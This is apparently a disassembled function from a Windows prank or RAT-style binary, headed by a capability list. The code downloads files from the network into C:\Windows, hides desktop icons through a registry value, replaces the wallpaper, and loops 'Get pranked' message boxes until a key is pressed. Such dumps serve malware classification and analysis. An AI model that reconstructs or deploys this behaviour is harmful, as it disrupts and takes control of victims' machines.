Function at 0x140001680
Capabilities:
Change the wallpaper
Create thread
Download url
Enumerate gui resources
Log keystrokes via polling
Receive data
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xor esi, esi
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], 0xf
mov ecx, 0xc0
call fcn.140002620
mov r9, rax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], 0xbf
mov qword [rbp - 8], 0xbf
lea rbx, [0x140000000]
lea rdx, [rbx + 0x44a0]
movups xmm0, xmmword [rdx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rax + 0x80]
movups xmm0, xmmword [rdx + 0x70]
movups xmmword [r8 - 0x10], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rdx]
movups xmmword [r8], xmm1
movups xmm0, xmmword [rdx + 0x10]
movups xmmword [r8 + 0x10], xmm0
movups xmm1, xmmword [rdx + 0x20]
movups xmmword [r8 + 0x20], xmm1
mov rax, qword [rdx + 0x30]
mov qword [r8 + 0x30], rax
mov eax, dword [rdx + 0x38]
mov dword [r8 + 0x38], eax
movzx eax, word [rdx + 0x3c]
mov word [r8 + 0x3c], ax
movzx eax, byte [rdx + 0x3e]
mov byte [r8 + 0x3e], al
mov byte [r9 + 0xbf], sil
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], 0xf
mov ecx, 0xc0
call fcn.140002620
mov rdx, rax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x78], 0xb8
mov qword [rbp - 0x70], 0xbf
lea rax, [rbx + 0x4560]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rdx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rdx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rdx + 0xb0], rax
mov byte [rdx + 0xb8], sil
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 0xf
lea ecx, [rsi + 0x20]
call fcn.140002620
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], 0x15
mov qword [rsp + 0x70], 0x1f
movups xmm0, xmmword [str.C:Windows_sample.wav]
movups xmmword [rax], xmm0
mov ecx, dword [0x140004630]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x140004634]
mov byte [rax + 0x14], cl
mov byte [rax + 0x15], sil
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], 0xf
lea ecx, [rsi + 0x20]
call fcn.140002620
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], 0x1b
mov qword [rsp + 0x50], 0x1f
movups xmm0, xmmword [str.C:Windows_newwallpaper.jpg]
movups xmmword [rax], xmm0
movsd xmm1, qword [0x140004648]
movsd qword [rax + 0x10], xmm1
movzx ecx, word [0x140004650]
mov word [rax + 0x18], cx
movzx ecx, byte [0x140004652]
mov byte [rax + 0x1a], cl
mov byte [rax + 0x1b], sil
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
add r8, rdx
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0x40]
call fcn.140002250
nop
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
add r8, rdx
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
lea rcx, [rbp - 0x60]
call fcn.140002250
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae r8, qword [rbp - 0x60]
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rdx, qword [rbp - 0x40]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
setns bl
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x1400019c4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000265c
movdqa xmm0, xmmword [0x140004700]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x60], si
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x140001a18
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a13
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000265c
test bl, bl
je 0x140002036
lea r8, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae r8, qword [rsp + 0x78]
add r8, qword [rbp - 0x78]
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdx, qword [rsp + 0x78]
lea rcx, [rbp - 0x40]
call fcn.140002250
nop
lea r8, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae r8, qword [rsp + 0x38]
add r8, qword [rsp + 0x48]
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
lea rcx, [rbp - 0x60]
call fcn.140002250
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae r8, qword [rbp - 0x60]
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rdx, qword [rbp - 0x40]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
setns bl
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140001af2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001aed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001aed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000265c
movdqa xmm0, xmmword [0x140004700]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x60], si
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x140001b46
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b41
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000265c
test bl, bl
je 0x140001ee4
lea rcx, [rbp + 0x30]
call fcn.140001200
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov ecx, 0x20
call fcn.140002620
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x20], 0x13
mov qword [rbp + 0x28], 0x1f
movups xmm0, xmmword [str.C:Windowsoldimage]
movups xmmword [rax], xmm0
movzx ecx, word [0x140004668]
mov word [rax + 0x10], cx
movzx ecx, byte [0x14000466a]
mov byte [rax + 0x12], cl
mov byte [rax + 0x13], 0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x30]
call fcn.140001500
test al, al
je 0x140001e47
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001c39
mov dword [rbp - 0x60], esi
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.HideIcons
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x8000000
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x48]
add r8, rdx
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
lea rcx, [rbp - 0x40]
call fcn.140002250
lea r8, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae r8, qword [rbp - 0x40]
xor edx, edx
lea ecx, [rdx + 0x14]
lea r9d, [rdx + 3]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x140001ccc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cc7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000265c
lea r8, [rsp + 0x58]
lea rdx, [0x1400011e0]
lea rcx, [rsp + 0x30]
call fcn.140002420
mov rdi, qword [rax]
mov qword [rax], rsi
mov qword [rbp - 0x60], rdi
mov rbx, qword [rsp + 0x30]
test rbx, rbx
je 0x140001d48
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140001d2c
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140001d27
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001d88
mov rcx, r8
call fcn.14000265c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov edx, 0x28
mov rcx, rbx
call fcn.14000265c
lea rax, [rbp + 8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
mov r9, rdi
lea r8, [0x140002570]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp], rax
test rax, rax
je 0x140001e38
cmp dword [rbp + 8], 0
jne 0x140001d8f
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x140001daf
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
xorps xmm0, xmm0
movdqa xmmword [rbp], xmm0
xor edx, edx
lea rcx, [0x140001650]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x72
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jb 0x140001e16
nop dword [rax + rax]
xor r9d, r9d
lea r8, str.Injected
lea rdx, str.Nice_you_Injected_successfully_but_everything_takes_its_price._Get_pranked____encounter
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x72
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x140001de0
xor r9d, r9d
lea r8, str.Injected
lea rdx, str.Nice_you_escaped_the_Rat_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov dword [rbp + 8], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140001e85
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e80
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000265c
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140001ed3
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ece
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ece
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000265c
movdqa xmm0, xmmword [0x140004710]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140001f21
inc rdx
mov rcx, qword [rsp + 0x38]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140001f1c
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000206a
call fcn.14000265c
mov byte [rsp + 0x38], 0
mov qword [rsp + 0x50], 0xf
mov qword [rsp + 0x48], rsi
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140001f71
inc rdx
mov rcx, qword [rsp + 0x58]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140001f6c
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400020bd
call fcn.14000265c
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x70], 0xf
mov qword [rsp + 0x68], rsi
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140001fc0
inc rdx
mov rcx, qword [rsp + 0x78]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140001fbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000210f
call fcn.14000265c
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000200c
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002007
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000216a
call fcn.14000265c
mov eax, 1
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140002600
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140002076
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002071
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002071
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000265c
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400020c9
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000265c
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14000211b
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002116
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002116
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000265c
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000200c
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002007
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002007
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3